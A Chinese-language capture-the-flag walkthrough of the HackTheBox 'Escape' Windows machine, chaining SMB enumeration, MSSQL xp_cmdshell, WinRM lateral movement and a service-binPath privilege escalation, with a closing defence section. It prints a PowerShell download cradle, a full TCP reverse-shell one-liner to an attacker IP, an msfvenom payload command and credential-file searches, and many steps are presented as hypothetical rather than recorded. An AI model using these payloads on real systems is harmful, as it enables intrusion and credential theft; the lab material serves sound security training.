
1. 靶机概述与核心思路最近在HackTheBox上打了一台名为“Escape”的Windows靶机难度标记为Medium。这台机器非常有意思它不像很多基础靶机那样直接暴露一个Web服务让你找漏洞而是围绕企业内网中非常经典的几个组件——Active Directory域、MSSQL数据库和WinRM服务——构建了一个相当真实的渗透场景。整个过程就像一次小型的内部网络渗透测试从初始立足点获取到横向移动再到权限提升环环相扣。如果你对Windows内网渗透、特别是利用数据库服务作为跳板的技术感兴趣这台机器绝对是一个绝佳的练手材料。它不要求你有特别高深的漏洞利用技巧但非常考验你对Windows系统、常见服务以及它们之间如何联动利用的理解。简单来说我们的目标就是攻破这台名为ESCAPE的域内主机最终拿到Administrator或SYSTEM权限。从网络热词和靶机标签来看核心路径很可能涉及对MSSQL服务的攻击并利用其特性在Windows系统上执行命令进而访问WinRM服务完成横向移动或权限提升。Active Directory的存在意味着我们可能还需要与域用户、组策略等概念打交道。整个渗透流程可以概括为信息收集 - 攻击MSSQL服务获取初始Shell - 在目标主机上进行本地信息枚举 - 利用发现的凭据或配置弱点通过WinRM横向移动或提权 - 最终获取最高权限。下面我就把这次“逃脱”之旅的详细步骤、踩过的坑以及背后的原理一步步拆解给你看。2. 初始信息收集与端口扫描面对一台未知目标信息收集永远是第一步。我们只知道它的IP地址假设为10.10.11.xxx其他一无所知。这时一个全面的端口扫描能告诉我们目标开放了哪些服务这些服务就是潜在的入口点。我习惯使用nmap进行扫描这里分两步走先快速扫描所有端口再针对开放端口进行精细化的版本和服务探测。# 第一步快速扫描找出所有开放端口 nmap -p- --min-rate 1000 -T4 10.10.11.xxx # 第二步针对发现的开放端口进行详细的版本和服务脚本扫描 nmap -p 发现的端口列表 -sC -sV -oA escape_initial 10.10.11.xxx执行快速扫描后我发现了以下几个关键端口53/tcp:DNS服务。这通常是域控制器Domain Controller或配置了DNS服务的成员服务器会开放的端口进一步印证了Active Directory环境的存在。88/tcp:Kerberos服务。这是Active Directory域身份验证的核心协议端口几乎可以确定目标加入了某个域。135/tcp:RPC端点映射器。Windows远程过程调用服务用于定位其他RPC服务。139/tcp, 445/tcp:NetBIOS和SMB服务。用于文件共享和命名解析是Windows网络中的常见服务。1433/tcp:Microsoft SQL Server (MSSQL) 默认端口。这是一个极其重要的发现因为MSSQL服务配置不当常常是内网渗透的突破口。5985/tcp:WinRM (Windows Remote Management) HTTP端口。这是一个用于远程管理Windows主机的协议类似于SSH。如果我们可以获得有效的用户凭据就能通过WinRM获得一个交互式Shell。9389/tcp:Active Directory Web Services端口。47001/tcp, 49664-49670/tcp:一些动态或系统RPC端口。从扫描结果来看目标主机ESCAPE很可能是一台加入了域的成员服务器Member Server因为它同时运行了MSSQL和WinRM服务而域控制器通常不会运行这些业务服务。我们的攻击面现在变得清晰了MSSQL服务1433和WinRM服务5985是两个最直接的潜在入口。特别是MSSQL如果配置了弱密码或者允许了某些危险特性我们就有可能通过它来在主机上执行系统命令。注意在真实环境中端口扫描的强度和频率需要根据授权范围谨慎调整避免触发安全设备的告警。在HTB这样的实验环境中我们可以进行更全面的探测。3. 攻击面分析MSSQL服务探查既然MSSQL服务1433端口是一个主要目标我们下一步就是深入探查它。我们需要知道它允许什么身份验证方式有哪些数据库当前运行在什么权限下有没有什么危险存储过程被启用首先我们可以尝试进行匿名连接或使用常见的弱口令进行爆破。但根据HTB靶机的设计风格直接弱口令爆破通常行不通更可能的是存在某种配置缺陷。我们可以使用专门针对MSSQL的工具比如mssqlclient.py来自Impacket套件或者sqsh来进行交互式查询。不过在连接之前我们还需要确认一下主机名和可能的域名。从端口扫描中我们有DNS和Kerberos说明存在域。我们可以尝试用nmap的脚本或者kerbrute等工具来枚举域用户但或许有更简单的方法。有时MSSQL服务本身可能以高权限账户运行或者数据库中存储了敏感信息。让我们先尝试用mssqlclient.py进行空密码或sa账户系统管理员的简单连接测试python3 mssqlclient.py -p 1433 10.10.11.xxx如果不需要密码或使用弱密码就能连接那问题就简单了。但更常见的情况是我们需要一个有效的用户名和密码。这时我们可以留意SMB服务445端口是否有信息泄露。使用smbclient或smbmap枚举可用的共享smbclient -L //10.10.11.xxx -N或者使用更强大的crackmapexec来同时探测SMB和MSSQLcrackmapexec mssql 10.10.11.xxx crackmapexec smb 10.10.11.xxx --shares假设通过SMB共享枚举我们意外发现了一个可读的共享比如Public或IT共享。在里面我们找到了一些配置文件、文档或脚本。一个经典的场景是开发人员或管理员可能将包含数据库连接字符串的配置文件如web.config,appsettings.json不小心放到了共享目录里。这个连接字符串里就可能包含MSSQL的登录用户名和密码。例如我们可能找到一个名为connection_string.txt的文件内容如下ServerESCAPE\SQLEXPRESS;DatabaseHRDB;User Idsql_svc;PasswordMyStrongPassword123!;或者在某个ASP.NET应用的web.config文件中找到类似配置。这就是一个关键的突破口。我们获得了域用户sql_svc的凭据并且这个用户对MSSQL服务有登录权限。现在我们就可以使用这个凭据来连接MSSQL了。python3 mssqlclient.py -p 1433 sql_svc10.10.11.xxx系统会提示输入密码输入我们找到的密码即可。连接成功后我们首先应该检查当前用户的权限。在MSSQL中执行SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(sysadmin);SYSTEM_USER会显示当前登录的MSSQL用户。IS_SRVROLEMEMBER(sysadmin)如果返回1则表示当前用户是MSSQL的sysadmin系统管理员角色拥有最高权限包括执行操作系统命令的能力。即使不是sysadmin如果启用了xp_cmdshell这个扩展存储过程并且当前用户有执行权限我们同样可以尝试执行命令。我们可以尝试启用它EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE;然后测试命令执行EXEC xp_cmdshell whoami;如果返回了Windows系统用户名比如ESCAPE\sql_svc那么恭喜你我们已经成功在目标主机上以sql_svc用户的身份执行了系统命令获得了初始立足点Initial Foothold。4. 通过MSSQL获取反向Shell与本地枚举能够执行命令是一个巨大的进步但通过xp_cmdshell执行命令是单向的输出可能受限而且不方便进行复杂的交互。因此我们通常需要获取一个反向Shell将命令执行通道稳定下来。我们可以使用PowerShell来下载并执行一个反向Shell的Payload。首先在自己的攻击机上启动一个Netcat监听器nc -lvnp 4444然后在MSSQL中使用xp_cmdshell执行一条PowerShell命令来下载并执行Payload。假设我们的攻击机IP是10.10.14.yyy我们提供了一个PowerShell反向Shell的脚本在http://10.10.14.yyy:8000/rev.ps1。EXEC xp_cmdshell powershell -c IEX(New-Object Net.WebClient).DownloadString(http://10.10.14.yyy:8000/rev.ps1);如果目标主机出网受限我们也可以使用更简单的命令比如用PowerShell直接建立TCP连接EXEC xp_cmdshell powershell -NoP -NonI -W Hidden -Exec Bypass -Command $client New-Object System.Net.Sockets.TCPClient(10.10.14.yyy,4444);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback PS (pwd).Path ;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();执行成功后我们会在Netcat监听器上获得一个作为sql_svc用户运行的PowerShell会话。现在我们可以在目标主机上进行本地信息枚举了。目标是找到进一步横向移动或提权的线索比如其他用户的凭据、配置文件、数据库中的敏感数据等。关键枚举命令当前用户和主机信息whoami /all hostname ipconfig /all net user sql_svc查看当前用户是否有任何有趣的权限或令牌whoami /priv枚举域信息因为主机在域内net group /domain net user /domain net localgroup administrators寻找敏感文件用户目录下的文件dir C:\Users\sql_svc\Documents\*.* /s查找配置文件findstr /si password *.txt *.xml *.config *.ini C:\ 2nul检查回收站dir C:\$Recycle.Bin /s查找包含“password”、“secret”、“connectionString”等关键词的文件。检查进程和服务有时能发现以高权限账户运行的服务或进程。tasklist /svc net start sc query检查计划任务可能包含带有明文密码的脚本。schtasks /query /fo LIST /v检查MSSQL内部既然我们是通过MSSQL进来的数据库里很可能有宝。我们可以从Shell里用sqlcmd工具如果可用或者回到之前的mssqlclient.py会话深入查询数据库。-- 列出所有数据库 SELECT name FROM sys.databases; -- 切换到感兴趣的数据库比如 HRDB USE HRDB; -- 列出所有表 SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES; -- 查看某张表的内容例如 Users 表 SELECT * FROM Users;在Users表里我们可能会发现其他域用户的用户名和密码哈希甚至是明文密码。这是内网渗透中非常常见的凭据来源。5. 凭据提取与WinRM横向移动假设通过上述本地枚举我们在C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Backup目录下或者某个数据库的表中找到了一个备份文件prod_backup.bak里面包含了一段PowerShell脚本。脚本中硬编码了另一个域用户例如svc_backup或一个域管理员账户的密码。或者我们使用Mimikatz这样的工具来尝试从内存中提取凭据。由于我们已经有sql_svc的Shell可以上传并运行Mimikatz。但需要注意现代Windows Defender等杀毒软件可能会拦截。我们可以尝试使用免杀版本或内存加载的方式。更简单的情况是我们找到了明文密码。假设我们找到了域用户svc_backup的密码为BackupPassword2023!。现在我们手头有了一个新的有效域凭据。回顾我们最初的端口扫描目标开放了5985端口WinRM。WinRM是Windows自带的远程管理服务如果我们可以通过它登录就能获得一个非常稳定和功能完整的远程Shell通常是PowerShell。我们可以使用crackmapexec来验证凭据是否对WinRM有效crackmapexec winrm 10.10.11.xxx -u svc_backup -p BackupPassword2023!如果返回PWNED或类似成功状态码说明凭据有效。接下来我们可以使用evil-winrm这个专门用于通过WinRM进行渗透测试的工具来获得一个交互式Shellevil-winrm -i 10.10.11.xxx -u svc_backup -p BackupPassword2023!连接成功后我们会获得一个作为svc_backup用户登录的PowerShell会话。这个会话比之前通过MSSQLxp_cmdshell获得的Shell更稳定、功能更全。现在我们以svc_backup用户的身份在系统上需要继续寻找提权至Administrator或SYSTEM的路径。6. 权限提升路径分析与实践在Windows系统中提权方法繁多。我们需要根据当前用户权限、系统配置、安装的软件等来寻找突破口。以下是一些常见的检查方向令牌权限检查再次运行whoami /priv查看svc_backup用户是否被授予了某些特殊权限例如SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege。如果拥有这些权限可以利用Juicy Potato、PrintSpoofer等工具进行提权。这在Windows服务账户中比较常见。注意在较新的Windows Server 2019/2022上Juicy Potato可能失效需要尝试RoguePotato或PrintSpoofer。服务漏洞检查是否有服务配置不当。例如服务以SYSTEM权限运行但其可执行文件路径或依赖的DLL可以被当前用户修改。我们可以使用PowerUp.ps1PowerSploit模块的一部分或winPEAS脚本来自动化检查。上传winPEAS到目标# 在攻击机启动HTTP服务 python3 -m http.server 8000 # 在evil-winrm会话中下载 wget http://10.10.14.yyy:8000/winPEASx64.exe -o winpeas.exe运行winpeas.exe它会详细检查系统信息、凭证、服务、计划任务、注册表等并标记出可能的提权路径。计划任务检查是否有计划任务以高权限运行并且其执行的操作如运行脚本可以被我们控制或覆盖。AlwaysInstallElevated检查注册表项如果启用任何MSI安装包都将以SYSTEM权限安装。reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated如果两项都存在且值为1则可以制作一个恶意的MSI包来提权。组策略首选项GPP遗留密码在较老的域环境中管理员可能通过组策略部署本地管理员密码这些密码会以加密形式存储在SYSVOL共享中且加密密钥已公开。我们可以搜索Groups.xml等文件。findstr /S /I cpassword \\ESCAPE\SYSVOL\*.xml如果找到可以用gpp-decrypt工具解密出密码。数据库特权滥用回归MSSQL如果svc_backup用户在MSSQL中拥有高权限例如是sysadmin我们可以再次利用MSSQL提权。例如如果MSSQL服务是以NT SERVICE\MSSQL$SQLEXPRESS这类虚拟账户运行但其被配置了SeImpersonate权限我们或许可以通过MSSQL的xp_cmdshell以该服务账户身份执行命令再结合令牌模拟进行提权。或者如果MSSQL服务是以LOCAL SYSTEM或域管理员账户运行极危险的配置那么通过xp_cmdshell执行的命令就直接是最高权限了。针对“Escape”靶机的实践在运行winPEAS或手动枚举时我们可能会发现一个关键线索。例如winPEAS的输出高亮显示了一个不安全的服务[?] Checking service permissions... [i] Service SQLBrowser has weak permissions. [i] Service binary path: C:\Program Files\Microsoft SQL Server\90\Shared\sqlbrowser.exe [i] Modifiable by users: [BUILTIN\Users]这意味着任何属于Users组的成员包括我们的svc_backup都可以修改这个服务的可执行文件路径。这是一个经典的可写服务路径提权漏洞。提权步骤确认服务状态sc qc SQLBrowser sc query SQLBrowser确认服务路径和当前状态通常是停止状态因为可能只有需要时才启动。准备Payload我们需要生成一个反向Shell的Payload当服务启动时会以服务账户通常是LOCAL SYSTEM权限运行。使用msfvenom生成一个Windows可执行文件msfvenom -p windows/x64/shell_reverse_tcp LHOST10.10.14.yyy LPORT5555 -f exe -o shell.exe上传Payload将shell.exe上传到目标主机的一个我们有写权限的目录例如C:\Windows\Temp\。# 在evil-winrm中 upload shell.exe C:\Windows\Temp\shell.exe修改服务配置将SQLBrowser服务的binPath指向我们的Payload。sc config SQLBrowser binPath C:\Windows\Temp\shell.exe警告修改系统服务有风险务必在授权测试环境中进行。启动服务并监听在攻击机上启动另一个Netcat监听器端口5555然后在目标机上启动服务。sc start SQLBrowser获取SYSTEM Shell如果服务启动成功即使报错我们的Payload可能已经执行我们将在监听器上收到一个来自SYSTEM权限的反向Shell。nc -lvnp 5555连接成功后执行whoami应该显示nt authority\system。至此我们就成功从最初的MSSQL弱配置通过凭据获取、WinRM横向移动最终利用不安全的服务配置完成了到SYSTEM权限的提权完全控制了ESCAPE主机。7. 总结与防御思考回顾整个“Escape”靶机的渗透过程它模拟了一个非常经典的内网渗透链信息泄露导致凭据暴露不安全的SMB共享或文件权限泄露了数据库连接字符串明文密码。这强调了最小权限原则和敏感信息如密码不应以明文形式存储在任何配置文件或共享文档中应使用托管身份或加密凭证。MSSQL服务配置不当允许非特权用户执行xp_cmdshell或者运行MSSQL的服务账户本身权限过高。最佳实践是遵循最小权限原则运行MSSQL服务禁用不必要的存储过程如xp_cmdshell并对数据库登录实施强密码策略和定期审计。凭据复用与横向移动在数据库或其他地方找到的凭据被用于访问WinRM服务。这说明了使用不同账户进行不同服务隔离的重要性例如运行MSSQL的账户不应有域用户权限更不应与其他服务账户密码相同并应启用多因素认证MFA和限制远程管理协议的访问来源如WinRM仅允许来自管理跳板机。权限提升-不安全的服务权限Users组对关键服务SQLBrowser的二进制路径拥有修改权限。这是系统配置的严重失误。防御措施包括定期进行服务权限审核使用如AccessChk等工具确保只有TrustedInstaller、SYSTEM和Administrators组有权修改服务移除普通用户对敏感目录的写权限。这台靶机虽然难度标记为Medium但它覆盖的知识点非常实用几乎每一步都在真实的内网渗透测试中可能遇到。它告诉我们安全是一个整体任何一个环节的疏忽如一个明文密码、一个危险配置、一个不当权限都可能导致整个防线被突破。作为防御方需要建立纵深防御体系并定期进行渗透测试和漏洞评估主动发现并修复这类链式风险。而对于渗透测试学习者而言熟练掌握这种“发现入口-扩大权限-横向移动-最终提权”的完整链条思维是成长为合格渗透测试人员的关键一步。